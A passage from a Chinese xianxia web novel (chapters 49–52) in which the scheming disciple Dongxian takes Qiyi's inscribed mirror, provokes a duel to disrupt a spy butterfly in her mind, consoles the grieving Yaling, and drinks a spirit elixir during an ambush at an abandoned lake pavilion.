任谁都该知道连筝想听到的是什么，亓沂的回答简直是典型的错误示范。
华尚打圆场道：“出现在青云大比的都是各门各派的代表，我能跟着进来，一定是看在阿筝的面上了。”
亓沂看向她，即使在阳光怎么晒人的晴天，华尚也会打着一把清丽素雅的伞，鲜少人会知道她打这把伞到底有何意义。
朝天宫的华尚和连筝二人，连筝的大名并不陌生，而华尚鲜少有人在意，她能被注意到一定是因为身旁跟着的是连筝。
华尚却并非寻常人可拟，朝天宫有七英，华尚和连筝是其中二英，华尚只是不出手罢了。
亓沂余光注意着竹屋，便能看到有人想绕进她的屋。
她回眸，发现连筝对她的竹屋有所注意，亓沂几步上前，绕过她们身侧来到身后，三言两语转走她们的注意，甚至把她们往外引去。
“师尊，内务堂的事务还需要我去处理，若是无事我便先走了。”
几人没有发现竹屋的异样，果然跟着亓沂的动作转过身，视线无法继续往亓沂的竹屋偏离，而是向竹屋外的小径。
月华长老道：“亓沂，我常听其他弟子们都说你总是过久地待在演武场。”
一旁的连筝心道这传闻都说亓沂性子孤僻，其实还漏了一点——狂，只是她的容貌与气势让人觉得她合该如此说话，以至于忘记她不过是玄清宗的一个弟子，面对前辈应有的尊重合情合理都该是她需要做到的。
亓沂回道：“我答应过赵羡阳的比试，一月后我要去赴约，在此之前我必须提升自己。”
月华长老头又疼了，道：“你何时应下的比试，听我的，不要逞强别去那里。”
亓沂道：“她拿走了我的东西，我要拿回来。”
月华长老很想抬手抚眉心，道：“掌门早先告诉我，青云大比上你以炼心境的修为打败意动境的赵羡阳，纯粹是因为巧合，你这次与她应战只会输，你想要拿回的东西也只是一根树枝，你何苦要为了这根树枝去应一场比试。”
亓沂不置可否。
月华长老见她这般，便知她根本没有将自己的劝诫听进心里，故而道：“也罢，你要去我不拦你，可你总是躲着我是何意，我的阵法教得你不合心意吗？”
亓沂道：“师尊言重了，你若是不忙，我去无双峰为你展示我数日学习的成果。”
月华长老道：“这下内务堂的事就不要紧了？”
亓沂努力不去看在她屋中坐着冲她笑盈盈的女人，也不去看被女人拿住的物什，道：“没有师尊要紧。”
月华长老的神色好看许多，她向来对天赋高的弟子很是包容，如今罕见地听到亓沂的讨好，心里自然是舒服的。
她忍住笑意道：“那便为朝天宫的两位前辈看看你的收效如何。”
几人便远离了听风竹林，朝向无双峰而去。
小院重归清净，只闻竹叶唰唰声。
东闲打量着她从屋中拿到的东西，这是一面古老的铜镜，镜子的正面与背面都覆满了咒文。
她的模样映入镜子时，那些原本是在镜面上咒文似是突然间转移到她脸上似的，东闲本能地放下铜镜。
眼看着镜面上的咒文还在，东闲稍稍安心。
她没能看出这镜子是何用处，心中琢磨这难道就是亓沂想要隐藏不被发现的秘密吗。
那日宋问天拿出凝玉箫，本意是想唤出她身上的魔气，只是那凝玉箫方落下一个音，就被亓沂打断。
若不是巧合，这个镜子应当是有其作用，且可能与魔有关。
东闲放弃对镜子的关注，将其丢进储物袋，与沉甸甸的灵石堆待在一块，随便扫了几眼屋内的陈设——亓沂的房间布置得很简单，基本的家用都有，多的是一点都不想添。
她应当是不常待在听风竹林，屋中生活气息很淡。
亓沂没让东闲久等，约莫一盏茶的功夫，她便赶回来。
亓沂是掐起御风术飞进来的，嗖嗖两道寒冰堵死了东闲的退路，左手拉过东闲双手高过头顶将人抵死在墙上，长臂横挡在东闲的脖颈前，抵住她的下颔迫使她往上看。
“你到底想做什么？”
东闲却也没挣扎，笑盈盈地看着亓沂。
“亓沂师姐，我又帮了你。”
亓沂比雨天冲刷过的鹅卵石还要发冷的目光盯着东闲。
帮她？没有落井下石才算好了吧。
寻常人不会靠近听风竹林，就算她没有把东西收起来，也不会有人敢踏进她的地盘。
她冷然道：“把东西还给我。”
东闲意有所指地道：“我这样可拿不出来。”
亓沂松开了她，抬手掐诀下了阵法，打消东闲想逃的心。
东闲却也没如她愿地将镜子拿出来，揉了揉被大力攥过的手腕，看起来很是柔弱。
“被亓沂师姐吓软了身子，这会是什么力都使不上来。”
亓沂道：“你想我开灵域？”
这无疑是句威胁，要么乖乖把东西交出来，要么就挨打。
东闲一手搭在腰间的储物袋，却也不取，无辜地道：“我怕疼啊亓沂师姐。”
亓沂锐利的目光直扫而来，迫人的气场鲜少有人抵抗得过，可惜她偏偏遇到的是东闲。
“亓沂师姐为何不相信我的主动示好，天月狼的事我没有主动说出去，这件事我自然也不会说。”
亓沂面无表情地道：“本事不多，脸皮很大。”
话落，竟是直接将人拉进灵域，这架势便是要打了。
漫天冰霜欺压而来，冰刺破地而出如座座小型山丘般一路朝东闲而来，东闲掐起御风术一路闪避，心道这架势不是要给她教训，而是要她命。
依亓沂的能力，根本不需要她保密，而且亓沂很不喜欢被威胁。
东闲同样也不喜欢被威胁，但是她就想惹亓沂生气。
“我受了伤，亓沂师姐怕是不好交代。”
亓沂道：“聒噪。”
纷扬的大雪也化作冰刃，砸在身上便能落下一道伤痕，生起的护体屏障完全没有抵挡之力。
东闲没带剑，无法使出朝阳剑法，依她现在的设定，她只能用一些阵法才对。
情急之下便使出最近“新学”的镜花水月，还不算太成熟的镜花水月成型，可见她是穷途末路。
朝东闲而去的飞雪刀刃被隔离，东闲像是独处一个世界般，纷扬大雪退去，唯有的山野间的烂漫之色，与亓沂所在的冰天雪地完全分隔。
镜花水月，便是打造一个全新的世界，东闲身处这个世界中，阻断了来自灵域的大雪，暂时安全。
不过这点安全主要是因为对面的人手下留情。
亓沂看着眼前的一幕稍作思忖，而后道：“师尊把镜花水月教给你了。”
她虚虚抬起手，掌心似乎接触到一面水墙，以掌为中心，荡漾出一圈又一圈的水波纹。
“不错。”
东闲一时错愣，她方才应是没有听错，亓沂是在亲口夸她。
亓沂可不给她发怔的机会，她另一掌掌下生冰朝着东闲的命门而去，这一道冰棱来得迅疾猛烈又不可抵挡。
东闲只能尽最大程度地减少被冰棱击中的伤害，那冰棱在穿过无形的边界后，肉眼可见地减缓了速度，在无限逼近东闲的眉心欲要穿透之时，被无形的力量溃散，化成一摊水渍。
水珠飞溅，似钢珠般弹到东闲的眉心，东闲千钧一发爆发的力量降低了冰棱对她的伤害，却也无法完全消除伤害。
冰棱不是真的冰棱，是亓沂的力量具象化的结果，东闲努力分解亓沂的力量，但还是被她的余威所伤，眉心之处看似没有受伤，其实已经损伤到识海。
她受冲击跌倒在地，眉心之处疼痛不已，识海一片混乱。
她揉着眉心，端着受伤难过的神情，抬眼去看亓沂。
亓沂那双凌厉让人不敢直视的双目，稀有地带上欣赏之意，她终于第一次正视了东闲，一身迫人的气场虽然并未因此缓和，却给东闲一种被接纳的感觉。
而东闲也在此时才知道，亓沂正视的目光是何样的。
东闲低着头，假装抬臂擦去因惧怕而生出的泪意，实则想挡一挡眼眸里有些忍不住的笑意。
原来亓沂喜欢这样的啊。
只有强者才能被她真正看在眼里。
冰棱从尖锐的杀人利器
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到化成一摊水渍的过程，其实仅仅在瞬时间完成，故而亓沂高看了东闲几眼。
亓沂看着她，神情与语气辩不出喜怒。
“虽然还不能影响到我的灵域，你仅仅跟师尊学了不到一月的时间，便有如此成就，的确不错。”
原本荡漾的水波纹又成为琉璃碎裂的纹样，只听清脆的一声，来自东闲这个造物主创造的世界于瞬息轰塌，她重新落入亓沂的灵域。
但这一次，纷扬的大雪柔和主动绕开了东闲，不再把东闲视为攻击的对象。
亓沂道：“东西还给我。”
语调未变，却叫人觉得比之前的声音听起来温柔。
胳膊下的声音闷闷地道：“我给你便是。”
心中却是明白亓沂因为她使出镜花水月，方才对她收手，这点惜才的性子，倒是和月华长老很像。
亓沂未动，直到看见东闲从储物袋中拿出了镜子。
灵域解除，两人重新回到竹屋。
东闲仍是坐在地上，镜子是拿出来了，没有站起来还人的意思。
她道：“这回腿是真的软了。”
亓沂走到她面前，本想自己拿走被东闲抱着的镜子，怎料东闲反拉住手臂意图借她力起身，对方甚至小心眼地掐她的肉。
看过去，对方是一脸的受伤，好像是自己掐了对方。
亓沂忍了忍，心道东闲真的是第一个敢天天往她面前凑，还敢掐她的存在。
用其他弟子的话，便是不知死活。
东闲发现亓沂对她的容忍度有在提高，再次加深了对新发现的肯定。
亓沂的眼里只有强者。
东闲道：“我并非是故意惹你生气，只是你不曾给我开口的机会。”
她指了指案上的糕点，道：“师尊说你整日待在演武场又有一堆公事要处理，很是辛苦，故而我特意送了些点心，内里添了提神醒脑的灵植，对你的身体很好。”
亓沂瞧也没瞧，只看她的镜子有没有损失。
“我不需要。”
一时间又回到那个不近人情的亓沂师姐。
东闲问道：“亓沂师姐，我方才见你紧张它，便想帮你藏起来，这镜子是有何用处吗？”
亓沂这会看她了，下了道逐客令。
“你该走了。”
东闲也没想再待下去，闻言与她告别，转身离开。
只身行走在小径上，东闲抬手接触眉心，华尚留在她眉心的白蝶，终于不再是一个隐患了。
因为知道百道秘法绝学，所以她清楚华尚的能力是怎么一回事。
白蝶会构造梦境，而梦大多是不能为人自主控制的，华尚的能力能够让所有人都不能在梦中获得清醒，使得人在梦中做出主观性的选择来。
现在的东闲才是淬灵境前期的修为，定然是无法从梦中获得清醒。
白蝶由华尚的精气幻化而成，强行除掉白蝶，华尚会有所感应，这会让她们更加怀疑自己的身份，所以东闲没有动白蝶。
她便想到了亓沂。
白蝶除了被人为拿出来消除外，东闲其实还有一种方法。
东闲暂且没有办法从华尚构造的梦中获得清醒，但是她知道，华尚想要知道她在梦中做出的结果，需要把白蝶拿出来，故而华尚说明日还要帮她看看。
她要做的，则是让华尚拿不出白蝶，或者让拿出来的白蝶无法窥见梦境重要的部分。
她找上亓沂，便是想寻机有意逼亓沂出手，使得她识海受伤，因为白蝶入的是她的识海，华尚想要拿出白蝶，必然会使得她已经受过重创的识海更加不堪重负。
她赌月华长老不会舍得她出事，依她惜才的性子，到时定然要阻止二人强行取出她眉心的白蝶。
华尚和连筝要是因此怀疑她，也总比等到华尚取出白蝶看到梦境里她的所作所为的好。
她已经知道华尚和连筝只在玄清宗待上三日便走，她只需要在接下来的两日内不要让她们找到她的错处。
唯一可惜的是，没能知道那镜子到底有何作用。
而且，她白白挨了打，心中总归是不爽的。
纵是掐了亓沂的一块肉以示报复，回去有师姐悉心照料，她仍然不爽。
东闲是如此走了，没未曾注意，亓沂手持的那把镜子，浮现出一张属于她现在模样的面孔。
“迷蝶入梦。”
很轻，竹叶唰唰盖住她的呢喃。
50.第 50 章
东闲忙活一日，到晚得空回到弟子居。
对面那间屋子依旧昏暗。
几天了，她都没能看见这间屋子的主人，向其他弟子打听，只模糊地得知不夜天那里出事要鸦昤回去，具体出的什么事并不清楚，说鸦昤走得很急。
东闲朝向那间屋子靠近，她未压低步伐，双脚踩在实木板上发出沉闷的声响，引得屋内人如临大敌般收住所有声响。
可惜房屋内那点啜泣声还是被东闲给捕捉到。
东闲叩门，发出“咚咚咚”的声响。
“鸦昤你在吗？”
屋内的人屏息敛气，不作任何回应，寄希望于屋内长久的缄默能让东闲识趣地离开。
东闲再度叩门，“鸦昤？”
仍是一片寂静，恍如死一般的沉寂。
东闲无声地笑了，实木上再度响起沉闷的步伐，愈来愈小，向屋内人传达屋外人渐行渐远的信号。
鸦昤稍觉安心，目光重新落在泪迹斑斑的信上，鼻头又是一酸。
“师尊……”
外面忽而狂风大作，震得雕窗隆隆作响隐有破开的迹象，鸦昤当是没关紧窗，想要上前重新阖紧。
雕窗砰然震开，于是，白发女子错愣残挂着晶莹的面庞落入东闲的眼底。
鸦昤恼羞成怒，招来长剑想要动手，东闲非但不退让，反而翻窗进去贴上前。
“你！？”
“既然在，为何不邀我进去。”
东闲已经翻进屋子，目光点了下她手中攥紧的信。
鸦昤背过身去，冷酷道：“我不想见你。”
东闲抬手燃起案面烛灯，主人似的入座，支手撑颐，歪首看她，眼眸里盛着稀碎的笑意。
“是我来找你，不是你想不想见我，你只要在，你的门就该为我敞开。”
鸦昤震惊地看着她，觉得她在耍无赖。
东闲继续出声，赶在鸦昤抓狂前。
“我来是要取我的炉鼎，一个月过去，我的炉鼎总该做好了。”
想到自己与东闲确有此事，鸦昤神色稍见缓和，但东闲的到来实在叫她心绪难平，说话的语气也比以往重，听起来并不客气。
“炼器哪是短时间就能完成的事，不过一个月的时间你急什么，你既然心急可以选择不要，山下那些器物铺内多的是炉鼎，何需非要我手头一个。”
东闲突然不说话了，就盯着她的眸，一眨不眨地，直盯得一抹羞红爬上鸦昤的脸颊，鸦昤方哭过一场，这点羞红倒是衬得她楚楚动人起来，少了寻常的刚毅。
这场长久的注视，由鸦昤羞愤别开视线惨败落幕。
“我以为你会随便做个炉鼎应付我，原来你待我还不错，你手头的的这个我还真舍不得放过。”
东闲目光落在角落处案几上，那是已经成型的炉鼎，由上好的玄精铁打造，炉鼎身上居然还有铭文。
东闲看直了眼。
虽说是只刻上几个字，但东闲一眼认出那是鸦昤准备刻下的铭文。
刻上铭文的器物灌入炼器师的心血与精力，威力会大大加强，耗费的材料也是珍稀难寻。
能刻铭文的都是中阶炼器师起步，一般炼器师很少会给器物篆刻铭文，因为这对炼器的专注程度与天赋要求极高，稍有不慎容易反噬。
东闲可以想象，鸦昤在炼器时，绚烂的毕月乌图腾因为被催动而在她身后现形，她的额头沁出细细密密的汗水，目光专注地盯着炉鼎的变化，拿起炼器专用的刻刀在炉鼎上刻下铭文。
一笔一划异常艰难，只刻了几个字便浑身疲软再无精力，不得不强行中断这次的炼器，故而将其搁置一旁，待精力恢复时继续完成。
那可不是一个月就能完成的低成本炉鼎，可见鸦昤花了不少心思。
东闲觉得很苦恼。
怎么办啊，她用心思骗的人都那么容易把心给她，日后可还怎么收场。
可她不见半点苦恼，眼中的笑意扩大。
被戳中心思的鸦昤有些难堪，加之东闲执意闯进她的屋子看见她流泪的模样令她气愤。
她上前抓住东闲的手臂，想要把东闲往外赶。
“你看够了，我要歇息，别再来烦我。”
东闲反握住鸦昤的手掌，凝睇看她。
“是发生了什么吗，有关你的事，我也想知道。”
她的眼里映照出鸦昤的模样，被层温和的暖光罩着，红彤彤的眼角与鼻头，看起来甚是惹人怜惜。
那双眼里只有鸦昤的模样，再容不下其他。
东闲知道自己若刻意看人，定能将人吸得魂都丢了去。
她便用着这双眼，含带着无限柔情，包裹着鸦昤坚强的表象，以如火的温柔融化抗拒的盔甲，一步一步引诱着鸦昤对她展开心扉。
这是东闲第三次这样看她，第一次时，鸦昤心软把敛息咒给了东闲，第二次时，鸦昤以为她害怕受到责罚，出言保证会帮她求情，第三次……
鸦昤看进她的眼眸，大抵是心中也渴望能够有个倾诉的伴，眼眶再度蓄起泪水。
“师尊，她走了。”
东闲心下明了，是鸦昤在不夜天的师尊没了。
鸦昤是个弃儿，被师尊在山野间的溪水中捡到。
师尊怜她，收她为徒，悉心抚养她长大。
师尊为人严厉，鸦昤若有不达她心意的，常常会责罚她。
鸦昤从不放在心上，她知道师尊很关爱自己，师尊是她唯一的亲人，丢失的亲情，鸦昤总能在师尊身上找到。
整个不夜天都知道她醉心剑术，但是因为天赋奇差，甚至捡错功法练得走火入魔，被勒令不允许将时间浪费在剑道上，作为一个未来要成为圣阶炼器师的苗子，她被宗门悉心培养，同时也受到桎梏。
百仙盟设定了交流生的机制，每年会在各大宗门间互相派去出色弟子交流学习，但是不夜天能去当交流生的名额从来没有鸦昤，因为谁都知道鸦昤去玄清宗肯定是要去练剑的。
鸦昤听从宗门安排，唯一一次反抗是在青云大比夺得魁首后，不夜天答应她一个要求，她便以去玄清宗问剑一年为求。
大家都在劝说她，只有师尊力排众议替她应下了。
师尊说去吧，做你喜欢的事。
而就在几天前，她得知师尊渡劫失败，身消道陨。
她连夜御剑赶回不夜天，没能见到师尊最后一面，只从同门那得知师尊临死前的遗言。
师尊说，不要将此事告诉鸦昤。
师尊原想再瞒鸦昤一段时间，等到鸦昤在玄清宗待满一年再告诉她。但是与鸦昤交好的同门觉得此事不该瞒住鸦昤，故而偷偷放信。
鸦昤谨记师尊生前教诲，不可让他人看见她的懦弱，忍痛完成师尊的丧事，她便立刻选择回到玄清宗，只怕在那多待一日，联想与师尊的过往便会难忍泪水。
这夜她躲在屋中抽泣，泪水簌簌落下，不知东闲已经升境成功的消息，只当东闲还在闭关，复而有了后来的事情。
每一个踏上仙路的人，都渴望飞升成神，都能够踏上修仙征途，为何不拼搏一把飞升，没有修士能抵挡得住飞升的诱惑。
修仙这事是个豪赌，境界越大渡劫越难，很多修士都会在渡劫前准备各种法器阵法之类能够抵御劫雷的，但那可是九天劫雷，怎么能轻易被抵挡，大多是求得能在劫雷下还能保全自身，得到重新再来的机会。
而鸦昤的师尊在渡劫时，并没有选择用那些东西防身，结局一如过往的修士般失败了。
鸦昤师尊的死，给东闲以警示。
自古以来，有一半的修士死于劫雷下。
东闲想要飞升成神，就得度过九天劫难一关。
东闲并不想重来一趟，为了确保自己能度过劫雷，她有心留意各种法宝。
东闲相信，只要有足够的圣阶法器护身，定能在九天劫雷下飞升成功。
她感觉自己的脖颈有些酸涩，这是她从未有过的体会，论以往都是旁人要仰望她的。
心里生起一种烦躁，她还是不喜欢低人一等的感觉。
东闲起身，
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旋即抓住鸦昤的双臂，借其力掂足朝向鸦昤纤密的长睫吹了一口气。
鸦昤猝不及防被抓住双臂，惊愕地看着东闲对自己的眼睛吹气，下意识地眨眼，眼眶内被强硬忍住的泪珠啪嗒砸在东闲掌心。
“合理地表达自己的情绪，怎能算是示弱，敢正视自我，才算得上强大，难道在我面前哭，让你觉得很丢脸吗？”
鸦昤愣愣不得语。
东闲只当她的错愣为默认，道：“丢一回脸也是丢脸，丢两回脸也是丢脸，日后见着我再丢脸你也不必难过，反正让我看见的不差一回。”
她当真是坏极了。
鸦昤甩开了她。
赶不走东闲，鸦昤便自个儿待在一边，也不管她，继续憋着泪水，沉浸在悲痛之中。
东闲又凑到鸦昤身前，鸦昤警惕地看着她，生怕她再对自己的眼睛吹气。
“你这泪珠子倒同金疙瘩似的，这么宝贵着是想等我走了偷偷掉吗？”
东闲上下抛着投影珠，继续道：“看来我得放个投影珠在这，待明日取回好好欣赏。”
鸦昤心中憋着气，不安慰人算了，还变着法要见她哭，其心可见恶毒。
东闲本就未打算安慰鸦昤，安慰的言语鸦昤早该听厌了，她现在需要的不是安慰，而是走出来的勇气。
鸦昤：“你走不走。”
东闲无赖似的答道：“不走，除非你哭，不然明日整个宗门都知道你躲在屋里偷偷掉眼泪。”
鸦昤看着她，自暴自弃地落下泪珠，面孔上毫无情绪流露，看起来像是只会流泪的提线木偶。
哭是哭了。
东闲暗叹，看来对鸦昤来说示弱还真是难事，就冲她今日的表现就能知道，她过去肯定从未在他人面前流露怯弱的表现，不然好说歹说还是让她觉得难为情。
一般来说，被他人看到狼狈的模样，多半要心怀芥蒂而讨厌此人，东闲不想被讨厌，消磨殆尽刷到的好感，于是费点力气让鸦昤摆脱坏心情的干扰，反正她也觉得这样逗着鸦昤很好玩。
东闲轻叹一声，欲要就此离开。
鸦昤看着她离去，跟上去关好门。
面上的泪水流得更汹涌了。
鸦昤将东闲的话听进去了。
东闲的目光细腻温和，如涓涓细流缓缓安抚着她那颗隐隐作痛的心。
那句“哭是一个人合理表达情绪的方式”，鸦昤有在好好思考。
她发现东闲这么说时，对方是真这么以为。
鸦昤从小到大都忍住泪水，无论遇到什么都咬牙抗下，迎面而上。
无论是被魔狼围攻，还是面临世上最亲之人的死，从来都是这样。
因为她觉得流泪是不勇敢的表现。
但是她好像理解错了，坚毅与不哭没有关系。
哭不能代表一个人弱小，若无面对的勇气才是胆小鬼。
而且隐忍好累，她不想压抑着自己的情绪，也许她可以放松一下，不要对自己那般严苛。
师尊肯定不希望她囿于自己的死，她该早些振作起来。
那就容许一次，她的初衷是想更早地走出来呀，东闲都走了，哭也不会怕让她听见。
鸦昤破格地哭了一场，从小声的呜咽到渐大的哭声。
她哭得差不多了，感觉心情好了些许，这时窗上传来动静，鸦昤看见一闪而过的影子。
鸦昤本该是气愤的。
她打开雕窗，因为幅度很大雕窗发出声响，而后她看见了台上被放下的一盒糖。
鸦昤气笑了。
这算什么，给小孩子表现不错的奖励吗。
师尊在世时，也总会喜欢这样待她，无论她是什么年纪，只要她做得不错，都会给出嘉奖，但绝不会是像东闲哄小孩似的给一盒糖。
鸦昤捻了一颗糖含在嘴中，目光注视着对面亮堂起来的屋子。
她也不知道出于什么心思，那一夜她都没有关上雕窗，让对面那间屋子照出来的暖光洒在自己身上，就这样裹着暖光舒舒服服地睡了一觉。
51.第 51 章
鸦昤在炼器上天赋极高，自从在青云大比上夺得炼器比试的魁首，于一众来自各大门派的弟子中脱颖而出，一举成名。
如此天赋绝伦之人，有着高傲的底气，但她没有架子，为人平和，玄清宗也有炼器的修士，他们会时常主动找鸦昤交流，鸦昤也很乐意传授经验从未藏私，弟子们都很喜欢她。
在不夜天传来噩耗前，曾有弟子向她求教炼器上的问题，鸦昤是个信守承诺之人，让其多等了几日心里已是不安，重新调整好自己的情绪，回来的次日便立刻找了过去。
出来时瞧见了对面的东闲，她不自然地别开视线，匆匆往外赶，往常这个时候都要与东闲互打声招呼才会走。
那位寻她的弟子正在炼器房，炼器所需的装置太过昂贵，寻常弟子都会选择借用炼器房来锻造法器，这点是宗门许可的，只要不损坏公物。
她已经炼制了一段时日，锻造台上的器具已经锻造完毕，正等待着最后一步结束。
鸦昤一眼认出她炼制的是低阶法器避雷针，避雷针是用来挡劫雷的法器，可以减少劫雷对渡劫人的针对性，进而帮助渡劫的修士更好地升境。
鸦昤从做过不少个避雷针，在不夜天的时候，有时会有弟子向她讨要避雷针渡劫，一般情况下，她在力所能及的条件都会应下。
鸦昤随口问道：“是要准备渡劫了吗？”
那位弟子先是惊喜鸦昤来了，复又笑道：“过几天就要准备渡劫，挨过这劫，我就是凝元境的修士了。”
在炼心境之前的劫雷都称得上简单好应付的劫雷，若非身体孱弱或负重伤濒临死境之人，绝不会因渡劫失败而身消道陨，就是渡劫失败的概率都几乎接近零。
听她说在为升凝元境做准备，鸦昤神色恍惚，在弟子眼中就像是突然呆住了一般。
“鸦昤前辈，怎么了？”
鸦昤被她叫回神，道：“没什么，你先前说有几个问题想问我，你便问吧。”
弟子道：“太好了，那便麻烦鸦昤前辈。”
弟子向她求教问题，而她心不在焉，一面回复着弟子的问题，一面思忖着。
师尊的死另有蹊跷。
她过度沉浸在师尊的死中，忽略了不对劲。
即便是凝元境哪怕是淬灵境的劫雷，大家都会选择准备各种器物法宝挡劫雷。
在劫雷面前，无论有多强大的力量都不值一提，劫雷将所有人都变为平等的蝼蚁，没有人会不尊重劫雷。
有的人甚至为了不渡劫而压制境界，亦有让自己境界倒退的人在，因为成为修士后，就算不主动修炼，身体也会在吸收灵气，倒退境界是防止灵气吸收到临界点要渡劫雷。
如若想要渡劫，大家会寻求天下所有法宝，只为能避劫雷而飞升成功，而什么都不准备就渡劫的，除非是有求死的心，唯有求死之人才无畏于劫雷。
但是师尊好端端的怎么会求死。
师尊没有死的理由，她要渡的劫雷是大乘境的劫雷，以她近四十的年纪进入大乘境已是为天下人仰望，她不该在鼎盛期选择死亡。
她甚至还有继续活下去的理由。
师尊生前说过，她要炼制五个圣阶法器，因为世上最厉害的炼器师一生炼制了四个圣阶法器。
那位弟子久久不得回复，抬头对上那双极黑极冷的眸子，疑是自己的蠢笨将对方惹生气了，忐忑地问道：“鸦昤前辈，是我哪里做错了吗？”
鸦昤回过神，揉着眉心，装作很疲惫的模样道：“抱歉，我最近琐事缠身，有些累。”
弟子听说过鸦昤最近发生的事，不禁生起同情之意，“鸦昤前辈，节哀顺变，日后有什么不顺心的，还有我们。”
鸦昤道了声“多谢”，弟子也不敢叨扰她，再问了几个问题，囫囵吞枣地记下要点，便转身告辞，让她好好休息。
鸦昤知道自己没有解决她的问题，但自己已经无心管顾。
师尊不是因渡劫失败而死。
师尊为什么不让她知道真相，而是选择死在劫雷之下以来隐瞒真相。
这世上只有两个人最清楚她的脾性，一个是她自己，一个是师尊。
师尊定然是招惹到某个背景深厚实力强大的人物，为了不把她牵扯进来，故而隐瞒真相。
因为她知道她的徒儿一定会替她报仇，无论以什么样的代价。
师尊，我岂能做不忠不义之辈，让你不清不白地死去。
已经下定决心报仇的鸦昤，开始深思是谁杀了师尊。
师尊鲜少结恶，会是谁要杀她。
廊檐下风铃发出清脆如黄鹂的声音，鸦昤从回忆中抽离，茫然地抬首，方才发现自己走着走着居然停在了东闲的弟子居前。
这间弟子居原本没有挂上一排风铃，不知从哪一日起，鸦昤便发现对面的廊檐下挂了一排的风铃，随风飘荡时，会发出黄鹂般动人的声音。
有时候鸦昤练剑时会情不自禁地被风铃所吸引，然后就能听见雕窗前的女子笑呵呵地指出她的不足，三言两语把她贬得一无是处，却又会在最后添一句“你已经做得很好了”，像是觉察到自己说话太狠般。
实在是敷衍得很。
偏生被她骂着，也不觉得生气，大抵是那笑容惑人，仔细想想她说得都在理，鸦昤实在郁闷，觉得自己天赋再差可脑子还是有的，有个词叫勤能补拙，她日日勤恳练□□该有所进步，因此不服气地又多练上一个时辰。
如今自己停在这想干什么呢。
胡思乱想为自己编造几个借口后，鸦昤还是坦诚地面对自己的情绪变化，她是有点不舍，玄清宗能给她留下记忆点的除了剑术便是她新交的朋友“慕婉思”。
她要为师尊报仇，不知还能不能有命，她该断绝一切与旁人的联系，不能把他们牵扯进来，这段才发展起来的情谊，就要被迫中止，鸦昤感到难过。
过些时日我该走了，先前答应为她锻造的炉鼎几日加急应当能做好送到她手上。
炉鼎是她与我
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的交易，不算是我送她的，以我与她的情谊，送个物什给她并不逾矩吧。
檐下的风铃响个不停，她立身于廊檐下，听着风铃歌唱许久，方才收敛情绪依依不舍地离开。
而曾有人驻足在她的居所前良久这件事，东闲不会知道。
她彼时待在药谷，身侧跟着的是安泛泛，安泛泛知道她昨日的遭遇，气愤地说着亓沂的不是，让东闲以后不要再顾着那份冷冰冰的师姐妹情谊。
安泛泛继续絮絮叨叨地道：“你这些日子都得好好休息，伤到了识海，可不能再动武，演武场也别去了。”
东闲面上应好。
置于胸前的听音螺在发烫。
这种情况只能是玲珑阁的人找来。
东闲心道这可不是好时机，晚些时候她还得去无双峰一趟，且先不说她能不能及时赶回来，朝天宫的两人发现她的异常也是个隐患。
玲珑阁那里她不好推脱，只好先找了想要休息之类的借口与安泛泛分离。
安泛泛也没多想，凶巴巴地让她好好休息，晚些过来会看她是不是真的在休息。
等她孤身出来，手握住听音螺，接收对面的信息。
“钟乳神浆的时效还有一个时辰，你最好快点来，哪个地方能让你尽快赶到？”
聪明的人会从这句话中听出尤长离隐藏的意思。
钟乳神浆自采摘下来后，时效为七日，想必尤长离早就拿到了钟乳神浆，有意拖了些时日才把钟乳神浆送到东闲手上，为的就是逼东闲马上出现，让她毫无准备地出现。
尤长离敢这么对东闲，定然是因为东闲在魔尊那里不受重视，魔尊虽然答应会为东闲带来提升实力的钟乳神浆，可从未说过阻止二人间的私斗。
魔尊的默认，助长了尤长离的嚣张气焰。
而现下，东闲毫无觉察般，道：“湖心亭。”
东闲心下有了想法。
她早将傀道十二招熟练于心，不惹人眼目地离开玄清宗于她而言并不难，她会留下一个与她身形一致的傀儡待在居所，构成她在休息的假象，只要没有人特意来找她，依她目前的能力，复刻出的傀儡不让他人发现异常并不难。
她所要做的，是以慕婉思的模样来到湖心亭，让听从莫吟洲安排的玲珑阁中人前来对付她。
乱中两波人会打起来，东闲只要拿到钟乳神浆转身逃跑就行。
她如最初计划的那般，来到湖心亭。
湖心亭早在百年前废弃了，后来也没人修葺，风吹雨打，毁坏得只剩一个苦苦支撑的空壳，这里的风景也一般，且是聚阴之地，久而久之无人会来这里。
此刻湖心亭没有旁人，有的是案上放着的钟乳神浆。
东闲来到亭中，同时刻感受到胸前的听音螺在发热。”
这种时候，她只要拿出听音螺，下场几乎可以预知。
而她却也真的拿出了听音螺。
暗中窥伺的眼微微眯起来，下令道：“活抓。”
52.第 52 章
杀意自周边倾泻，全都向湖心亭的东闲涌去。
灵域也同时开展，呼啸的狂风在东闲耳侧响起。
而在另一边的莫吟洲带人赶来，同样目标是东闲，同样想开灵域把东闲拉入其中。
于是两方的灵域在拉扯，无形中在较量，湖中的一两尾鱼翻腾出水，又落下，平静的湖面炸开一圈又一圈水花。
一时间竟不能奈东闲何，达成了巧妙的效果。
东闲并不意外场面的变化，两方灵域都想拉扯她进去，便会造成这种效果。
她得空拿到钟乳神浆，打开瓶塞，溢散出来的清香很快占据她的鼻腔，她目色带上了痴迷，一眨不眨地盯着钟乳神浆，好似外界所有的纷扰都不能再打动她。
钟乳神浆能够提升的境界实力有限，只有实力低下的修士才会需要用到它，而实力低下的修士往往又不会靠外物增长实力，除非他天资奇差，差到只能靠外物来助长实力。
这也是尤长离敢对东闲动手的原因之一，他认定东闲没有反抗的能力。
一个不被魔尊重视，且实力低下的存在，实在不够格成为尤长离眼中的敌人。
而尤长离也不是要她的命，只是剥夺星宿传承罢了，这样在魔尊那里他也好交代。
听音螺还在发热，东闲大掌包住它，听到里面传来的声音，区别于周身炸开的水花声。
“这种地方升境对你来说不是好事。”
东闲回了声轻笑，随手将听音螺抛进河内，让对方的声音沉寂于河底。
她回头看了眼两波纠缠的人，有莫吟洲从中捣鬼，给了她趁乱离开的机会。
她得了空隙，便紧忙仰头把钟乳神浆喝了下去，清香的浆液充斥着喉间，化作温热的力量进入奇经八脉。
她感受到身体在发热发胀，能感觉到修为在增长，这是种很奇妙爽快的环节。
只是未有离开几步，她被人拦截在半道中。
东闲看到眼前有过一面之缘的男人，逃离的想法随之消失，退路已然被堵住。
她停了下来，面色沉静得过分，落在男人眼里便是认命放弃挣扎。
尤长离笑道：“想让我们自相残杀，这确实是个主意，两边的纠缠会给你机会逃离，可惜纵是你计划成功也绝不能跑掉，原想再试探你有何能力，如今看来，你好像除了跑外什么本事都没有了。”
